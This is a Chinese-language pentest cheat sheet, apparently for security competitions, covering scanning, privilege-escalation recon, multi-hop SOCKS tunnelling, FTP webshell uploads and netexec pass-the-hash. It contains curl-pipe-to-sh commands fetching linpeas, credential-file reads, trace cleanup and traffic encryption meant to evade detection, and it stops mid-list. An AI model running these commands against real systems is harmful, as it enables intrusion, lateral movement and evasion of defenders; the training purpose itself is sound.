Post

渗透笔记

长城杯铸剑杯的经验之谈

渗透笔记

内网渗透笔记

WSL与windows公用代理解决办法

Windows 端(宿主机)的正确姿势

在 Windows(PowerShell/CMD)里启动 ioxstowaway 或者 frp 等工具时,监听地址绝对不能只写局域网 IP,最好直接绑定全零地址 0.0.0.0

1
2
# -l 10808 默认就是绑定在 0.0.0.0 上
.\iox.exe proxy -l 9999 -l 10808

WSL 端(攻击机)的指向配置

只要 Windows 端绑定了 0.0.0.0,在 WSL2 的默认特性下,你完全不需要去查什么虚拟网卡 IP,直接无脑连 127.0.0.1 即可

打开的 proxychains 配置:

1
vim ~/.proxychains/proxychains.conf

在最底部的 [ProxyList] 中,只保留这一行:

1
socks5 127.0.0.1 10808

工具

信息收集与扫描

fscan

fscan1.8.4是最后一个官方release版本,之后官方进行了2.0版本维护,但是似乎由于dev分支合并出差错,加上新版大量重构,导致体验不好,并且需要自己编译,因此建议使用1.8.4和2.1.2/2.0.1双重扫描。

Bash

1
ip a

查看本机IP

1
for i in {1..65535};do ping -c 1 -W 1 172.16.20.$i;done

-c--count 的简写,指定 ping 命令发送的 ICMP Echo Request 包数量,1 表示仅发送 1 个包。

-W--timeout 的简写,指定 ping 命令的等待响应超时时间,单位为秒(部分系统如 Windows 用 -w,单位为毫秒,需注意差异),1 表示发送包后等待 1 秒,若未收到响应则判定为超时(目标不可达)。Linux/macOS:-W 指单个包的响应超时(秒),-w 指整个 ping 命令的总超时(秒)

1
for i in {1..254};do ping -c 1 -W 1 172.16.20.$i | grep form;done

|(管道符)

  • 语法作用:将前一个命令(ping)的标准输出(stdout)直接传递给后一个命令(grep)作为输入,实现输出筛选的流水线操作,无需保存中间结果。

grep(文本过滤命令)

  • 工具作用:在输入文本中搜索匹配指定字符串的行,仅输出符合条件的内容,是 Shell 中常用的文本筛选工具。

grep form(字符串匹配筛选)

  • 参数含义:搜索包含 “form” 字符串的行,输出匹配结果。
1
c.traditional -vv -z 127.0.0.1 1-65535 2>&1 | grep -v "?"
组成部分内容作用
扫描命令nc.traditional调用传统模式的端口扫描工具
详细输出参数-vv启用双详细模式,输出扫描过程中的详细日志(包括连接尝试、端口状态等)
端口扫描参数-z启用 Netcat 的端口扫描模式(仅检测端口是否开放,不建立完整连接 / 传输数据)
目标 IP127.0.0.1本地回环地址,扫描当前本机的端口状态
目标端口范围1-65535指定扫描端口范围为 1 到 65535(全端口扫描)
重定向符2>&1将标准错误输出(stderr,文件描述符 2)重定向到标准输出(stdout,文件描述符 1),统一输出流
管道符|将前面命令的统一输出作为 grep 命令的输入
过滤命令grep -v "?"反向筛选输出,排除包含 “?” 字符串的行(保留明确端口状态的日志)
1
(echo < /dev/tcp/127.0.0.1/$i) &>/dev/null && printf "the Open Port is : %d" "$i\n" || printf "."

&>/dev/null(全输出丢弃)

  • 语法等价:等价于 > /dev/null 2>&1,是 Bash 的扩展语法,用于统一处理标准输出(stdout,文件描述符 1)和标准错误(stderr,文件描述符 2)。
1
uname -a

查询内核及系统架构信息

1
lsb_release -a

查询 Linux 发行版详细信息

1
cat /proc/version
1
2
3
4
cat /etc/passwd
cat /etc/issue
cat /etc/crontab
cat /etc/fstab

一些敏感信息

1
2
3
4
5
hostnamectl # 查询 / 修改系统主机名及系统信息
hostname # 查询 / 设置系统主机名
ip route
ip neigh # 查询 ARP 缓存(邻居表)
arp -a # 查询 ARP 缓存表(传统命令)
1
2
sudo -l
history
1
getcap -r / 2>/dev/null
组成部分内容作用
核心命令getcap查询文件的 Linux capabilities(权限.cap)配置
递归查询参数-r递归遍历目标目录下的所有文件 / 子目录,不遗漏深层文件
目标路径/以根目录为起点,扫描整个系统的所有文件
输出重定向2>/dev/null丢弃标准错误输出(如权限不足、无效路径的报错),仅保留有效结果
1
ls -liah

nuclei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板的快速漏洞扫描器。

用法:
  nuclei [命令]

命令:
目标:
   -u, -target string[]                  指定扫描的目标URL/主机(多个目标则指定多个-u参数)
   -l, -list string                      指定包含要扫描的目标URL/主机列表的文件路径(一行一个)
   -resume string                        从指定文件恢复扫描并保存到指定文件(将禁用请求聚类)
   -sa, -scan-all-ips                    扫描由目标解析出来的所有IP(针对域名对应多个IP的情况)
   -iv, -ip-version string[]             要扫描的主机名的IP版本(4,6)-(默认为4)

模板:
   -nt, -new-templates                    仅运行最新发布的nuclei模板
   -ntv, -new-templates-version string[]  仅运行特定版本中添加的新模板
   -as, -automatic-scan                   基于Wappalyzer技术的标签映射自动扫描
   -t, -templates string[]                指定要运行的模板或者模板目录(以逗号分隔或目录形式)
   -turl, -template-url string[]          指定要运行的模板URL或模板目录URL(以逗号分隔或目录形式)
   -w, -workflows string[]                指定要运行的工作流或工作流目录(以逗号分隔或目录形式)
   -wurl, -workflow-url string[]          指定要运行的工作流URL或工作流目录URL(以逗号分隔或目录形式)
   -validate                              使用nuclei验证模板有效性
   -nss, -no-strict-syntax                禁用对模板的严格检查
   -td, -template-display                 显示模板内容
   -tl                                    列出所有可用的模板
   -sign                                  使用NUCLEI_SIGNATURE_PRIVATE_KEY环境变量中的私钥对模板进行签名
   -code                                  启用加载基于协议的代码模板

过滤:
   -a, -author string[]                  执行指定作者的模板(逗号分隔,文件)
   -tags string[]                        执行带指定tag的模板(逗号分隔,文件)
   -etags, -exclude-tags string[]        排除带指定tag的模板(逗号分隔,文件)
   -itags, -include-tags string[]        执行带有指定tag的模板,即使是被默认或者配置排除的模板
   -id, -template-id string[]            执行指定id的模板(逗号分隔,文件)
   -eid, -exclude-id string[]            排除指定id的模板(逗号分隔,文件)
   -it, -include-templates string[]      执行指定模板,即使是被默认或配置排除的模板
   -et, -exclude-templates string[]      排除指定模板或者模板目录(逗号分隔,文件)
   -em, -exclude-matchers string[]       排除指定模板matcher
   -s, -severity value[]                 根据严重程度运行模板,可选值有:info,low,medium,high,critical   
   -es, -exclude-severity value[]        根据严重程度排除模板,可选值有:info,low,medium,high,critical
   -pt, -type value[]                    根据类型运行模板,可选值有:dns, file, http, headless, network, workflow, ssl, websocket, whois
   -ept, -exclude-type value[]           根据类型排除模板,可选值有:dns, file, http, headless, network, workflow, ssl, websocket, whois
   -tc, -template-condition string[]     根据表达式运行模板
   

输出:
   -o, -output string                    输出发现的问题到文件
   -sresp, -store-resp                   将nuclei的所有请求和响应输出到目录
   -srd, -store-resp-dir string          将nuclei的所有请求和响应输出到指定目录(默认:output)
   -silent                               只显示结果
   -nc, -no-color                        禁用输出内容着色(ANSI转义码)
   -j, -jsonl                            输出格式为jsonL(ines)
   -irr, -include-rr                     在JSON、JSONL和Markdown中输出请求/响应对(仅结果)[已弃用,使用-omit-raw替代]
   -or, -omit-raw                        在JSON、JSONL和Markdown中不输出请求/响应对
   -ot, -omit-template           省略JSON、JSONL输出中的编码模板
   -nm, -no-meta                         在cli输出中不打印元数据
   -ts, -timestamp                       在cli输出中打印时间戳
   -rdb, -report-db string               本地的nuclei结果数据库(始终使用该数据库保存结果)
   -ms, -matcher-status                  显示匹配失败状态
   -me, -markdown-export string          以markdown格式导出结果
   -se, -sarif-export string             以SARIF格式导出结果
   -je, -json-export string              以JSON格式导出结果
   -jle, -jsonl-export string            以JSONL(ine)格式导出结果


配置:
   -config string                        指定nuclei的配置文件
   -fr, -follow-redirects                为HTTP模板启用重定向
   -fhr, -follow-host-redirects          允许在同一主机上重定向
   -mr, -max-redirects int               HTTP模板最大重定向次数(默认:10)
   -dr, -disable-redirects               为HTTP模板禁用重定向
   -rc, -report-config string            指定nuclei报告模板文件
   -H, -header string[]                  指定在所有http请求中包含的自定义header、cookie,以header:value的格式指定(cli,文件)
   -V, -var value                        以key=value格式自定义变量
   -r, -resolvers string                 指定包含DNS解析服务列表的文件
   -sr, -system-resolvers                当DNS错误时使用系统DNS解析服务
   -dc, -disable-clustering              关闭请求聚类功能
   -passive                              启用被动模式处理本地HTTP响应数据
   -fh2, -force-http2                    强制使用http2连接
   -ev, env-vars                         启用在模板中使用环境变量
   -cc, -client-cert string              用于对扫描的主机进行身份验证的客户端证书文件(PEM 编码)
   -ck, -client-key string               用于对扫描的主机进行身份验证的客户端密钥文件(PEM 编码)
   -ca, -client-ca string                用于对扫描的主机进行身份验证的客户端证书颁发机构文件(PEM 编码)
   -sml, -show-match-line                显示文件模板的匹配值,只适用于提取器
   -ztls                                 使用ztls库,带有自动回退到标准库tls13 [已弃用] 默认情况下启用对ztls的自动回退
   -sni string                           指定tls sni的主机名(默认为输入的域名)
   -lfa, -allow-local-file-access        允许访问本地文件(payload文件)
   -lna, -restrict-local-network-access  阻止对本地/私有网络的连接
   -i, -interface string                 指定用于网络扫描的网卡
   -at, -attack-type string              payload的组合模式(batteringram,pitchfork,clusterbomb)
   -sip, -source-ip string               指定用于网络扫描的源IP
   -rsr, -response-size-read int         最大读取响应大小(默认:10485760字节)
   -rss, -response-size-save int         最大储存响应大小(默认:1048576字节)
   -reset                                删除所有nuclei配置和数据文件(包括nuclei-templates)
   -tlsi, -tls-impersonate               启用实验性的Client Hello(ja3)TLS 随机化功能


交互:
   -inserver, -ineractsh-server string   使用interactsh反连检测平台(默认为oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
   -itoken, -interactsh-token string     指定反连检测平台的身份凭证
   -interactions-cache-size int          指定保存在交互缓存中的请求数(默认:5000)
   -interactions-eviction int            从缓存中删除请求前等待的时间(默认为60秒)
   -interactions-poll-duration int       每个轮询前等待时间(默认为5秒)
   -interactions-cooldown-period int     退出轮询前的等待时间(默认为5秒)
   -ni, -no-interactsh                   禁用反连检测平台,同时排除基于反连检测的模板


模糊测试:
   -ft, -fuzzing-type string             覆盖模板中设置的模糊测试类型(replace、prefix、postfix、infix)
   -fm, -fuzzing-mode string             覆盖模板中设置的模糊测试模式(multiple、single)


UNCOVER引擎:
   -uc, -uncover                         启动uncover引擎
   -uq, -uncover-query string[]          uncover查询语句
   -ue, -uncover-engine string[]         指定uncover查询引擎 (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow) (默认 shodan)
   -uf, -uncover-field string            查询字段 (ip,port,host) (默认 "ip:port"-ul, -uncover-limit int               查询结果数 (默认 100)
   -ur, -uncover-ratelimit int           查询速率,默认每分钟60个请求(默认 60)


限速:
   -rl, -rate-limit int                  每秒最大请求量(默认:150)
   -rlm, -rate-limit-minute int          每分钟最大请求量
   -bs, -bulk-size int                   每个模板最大并行检测数(默认:25)
   -c, -concurrency int                  并行执行的最大模板数量(默认:25)
   -hbs, -headless-bulk-size int         每个模板并行运行的无头主机最大数量(默认:10)
   -headc, -headless-concurrency int     并行指定无头主机最大数量(默认:10)
   -tlc, -template-loading-concurrency int  最大并发模板加载操作数(默认:50)


优化:
   -timeout int                          超时时间(默认为10秒)
   -retries int                          重试次数(默认:1)
   -ldp, -leave-default-ports            指定HTTP/HTTPS默认端口(例如:host:80,host:443)
   -mhe, -max-host-error int             某主机扫描失败次数,跳过该主机(默认:30)
   -te, -track-error string[]            将给定错误添加到最大主机错误监视列表(标准、文件)
   -nmhe, -no-mhe                        disable skipping host from scan based on errors
   -project                              使用项目文件夹避免多次发送同一请求
   -project-path string                  设置特定的项目文件夹
   -spm, -stop-at-first-path             得到一个结果后停止(或许会中断模板和工作流的逻辑)
   -stream                               流模式 - 在不整理输入的情况下详细描述
   -ss, -scan-strategy value             扫描时使用的策略(auto/host-spray/template-spray) (默认 auto)
   -irt, -input-read-timeout duration    输入读取超时时间(默认:3分钟)
   -nh, -no-httpx                        禁用对非URL输入进行httpx探测
   -no-stdin                             禁用标准输入

无界面浏览器:
    -headless                            启用需要无界面浏览器的模板
    -page-timeout int                    在无界面下超时秒数(默认:20)
    -sb, -show-brower                    在无界面浏览器运行模板时,显示浏览器
    -ho, -headless-options string[]      使用附加选项启动无界面浏览器
    -sc, -system-chrome                  不使用Nuclei自带的浏览器,使用本地浏览器
    -cdpe, -cdp-endpoint string          通过Chrome DevTools Protocol (CDP)端点使用远程浏览器
    -lha, -list-headless-action          列出可用的无界面操作

调试:
    -debug                               显示所有请求和响应
    -dreq, -debug-req                    显示所有请求
    -dresp, -debug-resp                  显示所有响应
    -p, -proxy string[]                  使用http/socks5代理(逗号分隔,文件)
    -pi, -proxy-internal                 代理所有请求
    -ldf, -list-dsl-function             列出所有支持的DSL函数签名
    -tlog, -trace-log string             写入跟踪日志到文件
    -elog, -error-log string             写入错误日志到文件
    -version                             显示版本信息
    -hm, -hang-monitor                   启用对nuclei挂起协程的监控
    -v, -verbose                         显示详细信息
    -profile-mem string                  将Nuclei的内存转储成文件
    -vv                                  显示额外的详细信息
    -svd, -show-var-dump                 显示用于调试的变量输出
    -ep, -enable-pprof                   启用pprof调试服务器
    -tv, -templates-version              显示已安装的模板版本
    -hc, -health-check                   运行诊断检查

升级:
    -up, -update                         更新Nuclei到最新版本
    -ut, -update-templates               更新Nuclei模板到最新版
    -ud, -update-template-dir string     指定模板目录
    -duc, -disable-update-check          禁用nuclei程序与模板更新

统计:
    -stats                               显示正在扫描的统计信息
    -sj, -stats-json                     将统计信息以JSONL格式输出到文件
    -si, -stats-inerval int              显示统计信息更新的间隔秒数(默认:5)
    -mp, -metrics-port int               更改metrics服务的端口(默认:9092)

云服务:
   -auth                  配置projectdiscovery云服务(pdcp)API密钥
   -cup, -cloud-upload    将扫描结果上传到pdcp仪表板
   -sid, -scan-id string  将扫描结果上传到指定的扫描ID

例子:
扫描一个单独的URL:
	$ nuclei -target example.com

对URL运行指定的模板:
	$ nuclei -target example.com -t http/cves/ -t ssl

扫描hosts.txt中的多个URL:
	$ nuclei -list hosts.txt

输出结果为JSON格式:
	$ nuclei -target example.com -json-export output.json

使用已排序的Markdown输出(使用环境变量)运行nuclei:
	$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/

Nmap

1
sudo nmap -sn 172.16.200.0/24
组成部分内容作用
执行权限sudo以管理员(root)身份运行命令
工具名称nmap调用网络扫描工具 Nmap
核心参数-sn开启「主机存活探测」,禁用端口扫描
目标网段172.16.200.0/2424 表示子网掩码为 255.255.255.0,包含的 IP 范围是 172.16.200.1 到 254
1
sudo nmap --min-rate 10000 -p- 10.194.238.140 -oA nmapscan/ports
组成部分内容作用
执行权限sudo以管理员(root)身份运行命令
工具名称nmap调用网络扫描工具 Nmap
扫描参数--min-rate 10000 -p-控制扫描速率和扫描端口范围
目标对象10.194.238.140待扫描的目标 IP 地址(内网 IP)
 -oA输出到文件中
1
sudo nmap -sU --min-rate 10000 -p- 10.194.238.140

强制UDP扫描

1
sudo nmap -sT -sV -sC -O -p80,111,777,52497,5353 172.16.20.131
组成部分内容作用
扫描类型参数-sT启用 TCP 全连接扫描(完整三次握手验证端口状态)
服务版本探测参数-sV探测开放端口对应的服务类型及具体版本号
操作系统探测参数-O识别目标主机的操作系统类型及内核版本
目标端口80,111,777,52497,5353指定需扫描的 5 个 TCP 端口(逗号分隔)
目标 IP172.16.20.131待探测的内网目标 IP(172.16.0.0/12 私有网段)
1
sudo nmap --script=vuln -p80 127.0.0.1
组成部分内容作用
脚本参数--script=vuln加载 Nmap 内置的「漏洞探测类脚本集」,针对目标端口进行漏洞扫描
目标端口-p80指定仅扫描目标主机的 80 端口(HTTP 服务默认端口)
目标 IP127.0.0.1本地回环地址,对应当前运行 Nmap 的本机(用于本地服务漏洞自查)
1
2
3
4
grep open ./nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ','

ports=$(grep open ./nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ',')

好习惯,将端口提取出来

Gobuster

基础目录扫描:

1
gobuster dir -u http://192.168.x.x -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

实战高频组合(推荐复制): 多线程并发,并指定查找源码泄露和常见非 Java Web 后缀(如 PHP、备份文件等)。

1
gobuster dir -u http://192.168.x.x -w dict.txt -t 50 -x php,txt,zip,tar.gz,bak,swp
  • -t 50: 开启 50 个线程(根据网络环境和目标机抗压能力,可以拉到 100 甚至更高)。
  • -x: 追加扫描指定后缀的文件。

静默模式与状态码过滤: 只看成功的请求,隐藏进度条(适合重定向输出到文件)。

1
gobuster dir -u http://192.168.x.x -w dict.txt -q -s "200,204,301,302,307,401,403" -o gobuster_result.txt
  • -q: 静默模式,不输出 Banner 和错误信息。
  • -s: 只显示这些 HTTP 状态码的结果(默认通常是 200,204,301,302,307,401,403)。
  • -o: 输出结果到文本。

绕过基础的证书校验(HTTPS 目标):

1
gobuster dir -u https://target.com -w dict.txt -k
  • -k: 跳过 TLS/SSL 证书验证。

Nikto

Nikto 动静非常大,扫描速度相对较慢。实战中,通常是开局直接把它挂在后台跑,然后自己去并行做代码审计或业务逻辑测试。

基础全量扫描:

1
nikto -h http://192.168.x.x

指定端口扫描(如果目标 Web 服务不在 80/443):

1
nikto -h http://192.168.x.x -p 8080,8443

实战高频组合(输出报告): 跑完后直接生成格式化的报告,方便后续复盘。

1
nikto -h http://192.168.x.x -o nikto_report.html -Format htm

针对性提速扫描(Tuning): Nikto 默认测试所有项目。如果时间紧迫,可以通过 -Tuning 参数只测试特定类型的漏洞。

1
2
3
4
5
# 只扫描文件泄露 (2) 和 常见配置错误 (4)
nikto -h http://192.168.x.x -Tuning 24

# 只扫描 SQL 注入 (9) 和 命令执行 (b)
nikto -h http://192.168.x.x -Tuning 9b

Tuning 常用对照:

  • 2 - 错误配置 / 默认文件
  • 4 - 暴露的敏感文件 / 目录
  • 8 - 命令执行 / 远程 Shell
  • 9 - SQL 注入
  • b - 包含漏洞 (LFI/RFI)

提权

linpeans

不落地执行:

1
curl -L https://github.com/peass-ng/PEASS-ng/releases/download/20251115-0322d43c/linpeas.sh | sh

常规执行:

1
2
chmod +x linpeas.sh
./linpeas.sh

本地服务器执行:

1
2
python -m http.server 80
curl 10.10.10.x/linpeas.sh | sh

linpeas 提供了一些隐藏参数来增强功能:

参数用法描述
-a./linpeas.sh -a全量模式。会执行更深入(也更慢)的检查。
-s./linpeas.sh -s隐身/超级模式。减少对磁盘的扫描,更隐蔽。
-o./linpeas.sh -o仅运行特定部分。例如 -o dev 仅检查设备。
-d./linpeas.sh -d <IP>网络扫描。利用简单的 ICMP 或 TCP 探测周围主机。

文件系统与文件工具

NFS

NFS (Network File System) 中文名为网络文件系统,是一种基于 TCP/IP 协议的分布式文件系统协议,核心作用是让不同主机(通常是 Linux/Unix 系统)通过网络共享文件和目录。

显示挂载目录:

1
showmount -e 61.139.2.134

挂载:

1
2
mount -t nfs 目标IP:/共享目录 /本地挂载点
sudo mount -t nfs 61.139.2.134:/home/morris mo

FTP

1. 建立连接与登录

渗透起手式,注意留意非标端口。

Bash

1
2
3
4
5
6
7
8
# 默认端口 (21) 连接
ftp 192.168.1.100

# 指定非标准端口连接 (例如 2121)
ftp 192.168.1.100 2121

# 使用带凭证的单行命令直接连接 (部分 Linux 系统适用)
ftp -p username@192.168.1.100

渗透注意: 遇到输入用户名时,优先尝试 anonymous,密码直接回车或输入 admin@admin.com 测试匿名访问漏洞。

2. 环境初始化(连上后必敲)

防止传输卡死或文件损坏(尤其是可执行文件、压缩包和包含特殊字符的 PHP/Node.js 源码)。

Bash

1
2
3
4
5
6
7
8
# 开启被动模式 (穿透防火墙,解决 ls 卡死问题)
passive

# 切换为二进制传输模式 (极度重要!防止下载的源码、压缩包、图片损坏)
binary

# 关闭多文件操作时的交互式 y/n 提示 (批量传文件必开)
prompt

3. 目录与路径探测

不仅要看目标机器的目录,还要灵活切换自己本机的目录结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 查看远程服务器当前所在绝对路径 (判断是否在 Web 目录下)
pwd

# 查看本地攻击机当前所在绝对路径
!pwd

# 列出远程当前目录下的所有文件 (包括 .env, .git, .bash_history 等隐藏敏感文件)
ls -la

# 切换远程目录
cd /var/www/html/public

# 返回远程上一级目录
cdup
# 或者
cd ..

# 切换本地攻击机的目录 (方便将拖下来的源码存放到指定位置,或从指定位置传木马)
lcd /root/ctf/workspace/

4. 暴力拖站与下载

发现敏感文件后迅速拖回本地进行代码审计或提取凭证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 下载单个远程文件到本地当前目录
get config.php

# 下载单个远程文件,并在本地重命名
get backup.zip db_backup.zip

# 批量下载当前目录下的所有 PHP 文件
mget *.php

# 批量下载当前目录下的所有文件
mget *

# 断点续传下载 (如果拖大文件时网络断开了,重新连上后用这个)
reget database.sql

5. 传马与文件写入

如果发现当前处于 Web 目录且有写入权限,直接写入 Webshell。

1
2
3
4
5
6
7
8
# 将本地的 shell.php 上传到远程当前目录
put shell.php

# 将本地文件上传到远程,并重命名 (有时用于绕过简单的文件名检测)
put webshell.txt image.php

# 批量上传本地目录下的所有文本文件
mput *.txt

6. 文件操作与清理痕迹

提权或拿分后,可能需要清理上传的测试文件或利用服务器的权限修改属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 删除远程的单个文件 (清理上传的木马)
delete shell.php

# 批量删除远程的特定文件
mdelete *.log

# 在远程服务器上新建目录
mkdir upload_test

# 删除远程服务器上的空目录
rmdir upload_test

# 重命名远程文件 (有时可以传 .txt 然后改名为 .php 绕过上传限制)
rename shell.txt shell.php

# 尝试修改远程文件权限 (需要 FTP 服务器开启了 SITE 命令支持)
site chmod 777 shell.php

7. 断开与退出

1
2
3
4
5
6
7
# 安全断开连接并退出 FTP 命令行
bye
# 或者
quit

# 仅断开当前连接,保留 FTP 命令行界面 (可随后 open 其他 IP)
close

File

ExifTool

默认已把 exiftool 加入系统 PATH,在文件所在文件夹打开终端 / CMD 执行。

1. 查看元数据

1
exiftool 图片.jpg

2. 清除所有元数据(隐私常用)

1
exiftool -all= 图片.jpg

3. 只清除 GPS 位置

1
exiftool -gps:all= 图片.jpg

4. 批量处理整个文件夹

1
exiftool -all= ./

5. 查看并只显示 GPS

1
exiftool -gpslatitude -gpslongitude 图片.jpg

6. 修改拍摄时间

1
exiftool -DateTimeOriginal="2026:03:07 12:00:00" 图片.jpg

7. 导出元数据到文本

1
exiftool 图片.jpg > info.txt

代理

Stowaway

在 Stowaway 的架构里,永远只有一个 Admin(控制端),剩下的全是 Agent(节点)。核心原则是:外网监听,内网主动连接(反向连接穿透防火墙),然后再由上一层节点开启本地监听,接应更深层的节点。

如果要链式代理,我们需要搭建一个三级链路:

第一级:VPS 建立控制中心 (Admin)

1
./admin -l 9999 -s my_secret_key

第二级:打通边界跳板机 (Node 0)

公网机器(以172.22.11.76为例)是第一层跳板。它需要做两件事:左手主动连上 VPS,右手开启一个新端口,等待内网机器连过来。

1
2
3
# -c: 主动连接控制端
# -l: 开启本地监听,等待下一层连接
./agent -c 10.11.119.75:9999 -l 10000

(此时VPS 终端会提示 [+] Node 0 joined)

第三级:触达内网 (Node 1)

内网机器身处内网,无法直接访问公网,但它可以访问跳板机。所以,我们让它主动连向跳板机刚才开启的那个 10000 端口。

# -c: 主动连接上一层跳板机
agent.exe -c 172.22.11.76:10000 -s my_secret_key

(此时终端会提示 [+] Node 1 joined。物理链路正式打通!)

激活隧道:把出口放到最深处

链路虽然连好了,但我们要让攻击流量从那台第三级上发出去。回到第一级别的 Stowaway 控制台:

  1. 输入 use 1 (选中位于最深处的 Node 1)。
  2. 输入 socks 10808 (在 Node 1 上开启 SOCKS5 代理,并将其映射到 VPS 的 10808 端口)。

proxychains

1
vim ~/.proxychains/proxychains.conf

注意事项

  • 不支持静态编译的程序: proxychains 的原理是利用 LD_PRELOAD 劫持系统调用(connect() 等)。如果一个程序是静态编译的(比如很多用 Go 语言 编写的工具,或者部分系统的 ping 命令),proxychains 往往会失效。
  • 配置文件优先级: 它寻找配置文件的顺序通常是:
    1. 环境变量 PROXYCHAINS_CONF_FILE 指定的文件。
    2. 当前目录下的 ./proxychains.conf
    3. 用户目录下的 ~/.proxychains/proxychains.conf
    4. 系统目录 /etc/proxychains4.conf

iox

iox 本身没有像 Stowaway 那样复杂的节点编号(Node 0, Node 1)。要实现多级跳板,它的核心逻辑是:

fwd(端口转发)在中间跳板机上搭管子,用 proxy(代理引擎)在攻击机和最深处的靶机两端建立 SOCKS5 握手。

假设目前的赛场拓扑如下:

  • [A] 攻击机 (你的 WSL/VPS): 1.1.1.1
  • [B] 第一层跳板机 (Ubuntu): 双网卡 1.1.1.2172.22.11.76
  • [C] 第二层跳板机 (Win 2012): 双网卡 172.22.11.6192.168.20.20
  • [D] 深层目标 (Win 2008 DC): 192.168.20.30

我们的目标是:在你的攻击机 [A] 上开一个本地端口,流量能直接从 [C] 的网卡发出去,去打 [D]

步骤一:在攻击机 [A] 建立总控端

你需要让攻击机监听一个端口等待猎物上钩,同时在本地开一个 SOCKS5 代理端口供 proxychains 使用。

在你的 WSL 或 VPS 终端执行:

1
2
3
4
# -l 10000: 监听 10000 端口,等待内网机器连回来
# -l 10808: 在本地开启 10808 的 SOCKS5 服务
# -k 656565: 流量加密密钥 (十六进制),防止比赛被流量监控系统 (NDR) 抓包告警
./iox proxy -l 10000 -l 10808 -k 656565

步骤二:在跳板机 [B] 铺设流量管道 (纯转发)

Ubuntu 作为第一层跳板,它不需要开启 SOCKS5 代理,它只需要做个“无情的搬运工”,把深层内网传来的流量,原封不动地转发给你的攻击机。在 Ubuntu 跳板机执行:

1
2
3
4
# -l 9999: 在自己身上监听 9999 端口,等待下一层跳板机连过来
# -r 1.1.1.1:10000: 把收到的所有流量,立刻转发给攻击机的 10000 端口
# 注意:中间节点转发不需要加 -k 密钥,因为它只是单纯转发生水流量
./iox fwd -l 9999 -r 1.1.1.1:10000

步骤三:在跳板机 [C] 注入反向探头 (突破闪退限制)

这台 Win 2012 是你用 Hash 横向打下来的,你现在只有 WMIexec 的 Shell。这是最容易翻车的一步。在 WMIexec 提示符下静默执行:

1
2
3
4
# -r 172.22.11.76:9999: 主动反向连接上一层跳板机 [B] 的 9999 端口
# -k 656565: 密钥必须与攻击机 [A] 保持一致!
# start /b 和 > NUL 2>&1 是 WMI 环境下防闪退的保命符!
start /b iox.exe proxy -r 172.22.11.76:9999 -k 656565 > NUL 2>&1

一旦步骤三敲下回车,你的攻击机 [A] 的终端里应该会立刻弹出一行: [*] Reverse socks5 server handshake ok ...

这代表套娃链条(A <- B <- C)物理连通!

此时,你的 WSL 里只需要在 proxychains.conf 中写上一行 socks5 127.0.0.1 10808,你发出的所有流量,都会:

  1. 进入本地 10808。
  2. iox 加密发送到本地 10000 端口。
  3. 顺着建立好的 TCP 隧道流向跳板机 [B] 的 9999 端口。
  4. 跳板机 [B] 将流量转发给靶机 [C]。
  5. 靶机 [C] 解密流量,并以此为跳板访问 192.168.20.30

如果场上遇到连不上的情况,按这个顺序排查:

  1. 防火墙拦截了端口? 在 Windows 上建节点时,如果你用了正向监听(比如 -l 9999),大概率会被 Windows Defender 防火墙拦截。所以全链路必须使用“反向连接” (即内网往外连 -r),因为防火墙通常只管入站,不管出站。
  2. 连接一建立就马上断开? 检查头尾两端的 -k (密钥) 是否一致。如果一边加密了一边没加密,握手会瞬间失败。
  3. 不知道程序有没有成功跑在后台? 在 WMIexec 里执行 tasklist | findstr iox。如果有回显,说明存活;如果没回显,绝对是没加 start /b ... > NUL 2>&1 导致控制台剥离失败。

攻击

netexec

哈希传递

1
proxychains4 nxc smb 192.168.20.0/24 -u 'Administrator' -H '94bd5248e87cb7f2f9b871d40c903927' --local-auth

假设我们知道的域管 Hash (94bd5248e87cb7f2f9b871d40c903927),并且通过 iox 隧道(proxychains4)打通了 192.168.20.x 网段

网段瞬间接管

刚拿到高权限 Hash,想看看这个网段里还有多少台机器能被你直接控制。

动作: 拿着域管 Hash,对整个 /24 网段进行无差别开门测试。

1
2
3
4
5
# 域账号横向(推荐,打域内机器):
proxychains4 nxc smb 192.168.20.0/24 -u 'Administrator' -H '94bd5248e87cb7f2f9b871d40c903927'

# 本地账号横向(如果对方是工作组机器,加上 --local-auth):
proxychains4 nxc smb 192.168.20.0/24 -u 'Administrator' -H '94bd5248e87cb7f2f9b871d40c903927' --local-auth

只要终端里刷出黄色的 (Pwn3d!),这台机器的分数就已经是你的了。

一键批量摸 Flag

拿下一大片机器后,不想一台台连上去找 Flag,直接让所有机器同时执行同一条命令并把结果传回来。

动作: 使用 -x 参数通过 WMI 隐蔽执行系统命令。

1
2
3
4
5
# 批量查看所有机器的 IP 和主机名(测试命令执行权限):
proxychains4 nxc smb 192.168.20.0/24 -u 'Administrator' -H '94bd5248e87cb7f2f9b871d40c903927' -x 'whoami & ipconfig'

# 批量读取桌面或特定目录的 Flag(假设 Flag 都在 C 盘根目录):
proxychains4 nxc smb 192.168.20.0/24 -u 'Administrator' -H '94bd5248e87cb7f2f9b871d40c903927' -x 'type C:\flag.txt'

密码/明文搜刮

对方可能改了密码,或者你想抓其他队伍选手的密码。

动作: 调用 NXC 最强力的 -M(后渗透模块),直接从内存和注册表里扒密码。

1
